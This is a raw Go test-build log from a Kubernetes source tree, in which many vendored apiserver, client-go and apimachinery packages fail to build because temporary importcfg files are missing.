k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.test: open /tmp/go-build138919994/b4105/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.test: open /tmp/go-build138919994/b4093/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options/encryptionconfig.test: open /tmp/go-build138919994/b4111/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/resourceconfig.test: open /tmp/go-build138919994/b4114/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/storage.test: open /tmp/go-build138919994/b4117/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.test: open /tmp/go-build138919994/b4121/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options.test: open /tmp/go-build138919994/b4108/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd.test: open /tmp/go-build138919994/b4127/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd/util.test: open /tmp/go-build138919994/b4130/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.test: open /tmp/go-build138919994/b4124/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/preflight.test: open /tmp/go-build138919994/b4137/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/names.test: open /tmp/go-build138919994/b4140/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/storagebackend/factory.test: open /tmp/go-build138919994/b4143/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options/encryptionconfig  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/resourceconfig  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/storage  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd/util  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3.test: open /tmp/go-build138919994/b4133/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value.test: open /tmp/go-build138919994/b4149/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/tests.test: open /tmp/go-build138919994/b4146/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value/encrypt/aes.test: open /tmp/go-build138919994/b4152/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/preflight  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/names  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/storagebackend/factory  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value/encrypt/envelope.test: open /tmp/go-build138919994/b4155/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/tests  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value/encrypt/aes  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value/encrypt/secretbox.test: open /tmp/go-build138919994/b4158/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value/encrypt/envelope  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/value/encrypt/secretbox  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/feature.test: open /tmp/go-build138919994/b4161/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/flushwriter.test: open /tmp/go-build138919994/b4173/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/feature  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/globalflag.test: open /tmp/go-build138919994/b4176/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/flag.test: open /tmp/go-build138919994/b4164/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/openapi.test: open /tmp/go-build138919994/b4179/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/proxy.test: open /tmp/go-build138919994/b4182/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/flag  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/flushwriter  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/globalflag  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/openapi  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/proxy  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/buffered.test: open /tmp/go-build138919994/b4191/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/wsstream.test: open /tmp/go-build138919994/b4188/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/webhook.test: open /tmp/go-build138919994/b4185/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/dynamic/enforced.test: open /tmp/go-build138919994/b4198/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/log.test: open /tmp/go-build138919994/b4201/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/webhook  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/wsstream  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/buffered  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/truncate.test: open /tmp/go-build138919994/b4204/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/webhook.test: open /tmp/go-build138919994/b4207/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/dynamic.test: open /tmp/go-build138919994/b4195/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/password/passwordfile.test: open /tmp/go-build138919994/b4210/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/request/basicauth.test: open /tmp/go-build138919994/b4213/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/token/webhook.test: open /tmp/go-build138919994/b4219/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authorizer/webhook.test: open /tmp/go-build138919994/b4222/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/dynamic  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/dynamic/enforced  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/log  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/truncate  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/audit/webhook  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/password/passwordfile  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/request/basicauth  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/token/oidc.test: open /tmp/go-build138919994/b4216/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/deprecated-dynamic.test: open /tmp/go-build138919994/b4225/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/token/oidc  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authenticator/token/webhook  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/plugin/pkg/authorizer/webhook  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/discovery/cached.test: open /tmp/go-build138919994/b4232/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/deprecated-dynamic  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/discovery/fake.test: open /tmp/go-build138919994/b4235/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/discovery.test: open /tmp/go-build138919994/b4228/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/dynamic.test: open /tmp/go-build138919994/b4238/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/dynamic/dynamicinformer.test: open /tmp/go-build138919994/b4241/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/discovery  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/discovery/cached  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/discovery/fake  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/dynamic/fake.test: open /tmp/go-build138919994/b4249/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/dynamic  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/dynamic/dynamiclister.test: open /tmp/go-build138919994/b4246/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/examples/fake-client.test: open /tmp/go-build138919994/b4252/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/dynamic/dynamicinformer  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/dynamic/dynamiclister  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/dynamic/fake  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/kubernetes_test.test: open /tmp/go-build138919994/b4255/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/listers/extensions/v1beta1.test: open /tmp/go-build138919994/b4258/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/azure.test: open /tmp/go-build138919994/b4261/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/examples/fake-client  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/kubernetes_test  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/listers/extensions/v1beta1  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/azure  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/gcp.test: open /tmp/go-build138919994/b4267/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/oidc.test: open /tmp/go-build138919994/b4270/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/openstack.test: open /tmp/go-build138919994/b4273/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/exec.test: open /tmp/go-build138919994/b4264/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/exec  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/gcp  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/oidc  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/plugin/pkg/client/auth/openstack  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/rest/watch.test: open /tmp/go-build138919994/b4279/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/restmapper.test: open /tmp/go-build138919994/b4282/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/scale.test: open /tmp/go-build138919994/b4285/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/auth.test: open /tmp/go-build138919994/b4291/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/testing.test: open /tmp/go-build138919994/b4288/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/rest.test: open /tmp/go-build138919994/b4276/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/testing.test: open /tmp/go-build138919994/b4298/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/rest  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/rest/watch  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/restmapper  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/scale  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/testing  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/auth  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/clientcmd/api.test: open /tmp/go-build138919994/b4304/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/clientcmd.test: open /tmp/go-build138919994/b4301/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/pager.test: open /tmp/go-build138919994/b4310/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.test: open /tmp/go-build138919994/b4294/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/leaderelection.test: open /tmp/go-build138919994/b4307/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/portforward.test: open /tmp/go-build138919994/b4313/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/reference.test: open /tmp/go-build138919994/b4319/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/record.test: open /tmp/go-build138919994/b4316/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/testing  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/clientcmd  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/clientcmd/api  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/leaderelection  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/pager  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/portforward  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/remotecommand.test: open /tmp/go-build138919994/b4322/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/cert.test: open /tmp/go-build138919994/b4331/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/record  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/reference  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/tools/watch.test: open /tmp/go-build138919994/b4325/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/remotecommand  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/connrotation.test: open /tmp/go-build138919994/b4337/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/transport.test: open /tmp/go-build138919994/b4328/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/flowcontrol.test: open /tmp/go-build138919994/b4340/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/testing.test: open /tmp/go-build138919994/b4349/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/tools/watch  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/transport  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/cert  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/retry.test: open /tmp/go-build138919994/b4346/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/certificate.test: open /tmp/go-build138919994/b4334/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/apitesting/fuzzer.test: open /tmp/go-build138919994/b4356/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/certificate  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/connrotation  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/flowcontrol  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath.test: open /tmp/go-build138919994/b4343/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/jsonpath  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/retry  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/testing  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue.test: open /tmp/go-build138919994/b4352/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/errors.test: open /tmp/go-build138919994/b4359/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/apitesting/fuzzer  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/validation/path.test: open /tmp/go-build138919994/b4372/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/errors  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/validation.test: open /tmp/go-build138919994/b4369/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/internalversion.test: open /tmp/go-build138919994/b4375/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/meta.test: open /tmp/go-build138919994/b4362/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/resource.test: open /tmp/go-build138919994/b4365/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/meta  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/validation.test: open /tmp/go-build138919994/b4392/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/resource  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/validation  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/validation/path  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/internalversion  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.test: open /tmp/go-build138919994/b4383/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/testapigroup/install.test: open /tmp/go-build138919994/b4395/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.test: open /tmp/go-build138919994/b4399/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/queryparams.test: open /tmp/go-build138919994/b4402/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1.test: open /tmp/go-build138919994/b4378/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/unstructured.test: open /tmp/go-build138919994/b4405/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/fields.test: open /tmp/go-build138919994/b4409/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/labels.test: open /tmp/go-build138919994/b4412/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/validation  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/testapigroup/install  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/queryparams  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/unstructured  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/fields  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/labels  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/json.test: open /tmp/go-build138919994/b4437/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer.test: open /tmp/go-build138919994/b4433/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/recognizer/testing.test: open /tmp/go-build138919994/b4441/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/streaming.test: open /tmp/go-build138919994/b4444/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/schema.test: open /tmp/go-build138919994/b4430/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/cache.test: open /tmp/go-build138919994/b4453/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/test.test: open /tmp/go-build138919994/b4450/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/clock.test: open /tmp/go-build138919994/b4456/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/versioning.test: open /tmp/go-build138919994/b4447/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/duration.test: open /tmp/go-build138919994/b4462/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/errors.test: open /tmp/go-build138919994/b4465/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/diff.test: open /tmp/go-build138919994/b4459/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/framer.test: open /tmp/go-build138919994/b4468/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/httpstream.test: open /tmp/go-build138919994/b4471/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/json.test: open /tmp/go-build138919994/b4481/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/intstr.test: open /tmp/go-build138919994/b4478/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/httpstream/spdy.test: open /tmp/go-build138919994/b4474/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/jsonmergepatch.test: open /tmp/go-build138919994/b4484/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime.test: open /tmp/go-build138919994/b4415/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/naming.test: open /tmp/go-build138919994/b4490/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/mergepatch.test: open /tmp/go-build138919994/b4487/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/rand.test: open /tmp/go-build138919994/b4499/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.test: open /tmp/go-build138919994/b4502/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/schema  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/json  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/recognizer/testing  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/streaming  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/versioning  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/test  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/cache  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/clock  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/diff  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/duration  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/errors  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/framer  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/httpstream  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/httpstream/spdy  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/intstr  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/json  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/jsonmergepatch  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/mergepatch  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/naming  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/sets.test: open /tmp/go-build138919994/b4505/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/validation.test: open /tmp/go-build138919994/b4511/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/net.test: open /tmp/go-build138919994/b4493/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy.test: open /tmp/go-build138919994/b4496/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/validation/field.test: open /tmp/go-build138919994/b4514/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/strategicpatch.test: open /tmp/go-build138919994/b4508/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/net  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/version.test: open /tmp/go-build138919994/b4517/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/waitgroup.test: open /tmp/go-build138919994/b4523/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/rand  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/sets  build failed \r go build 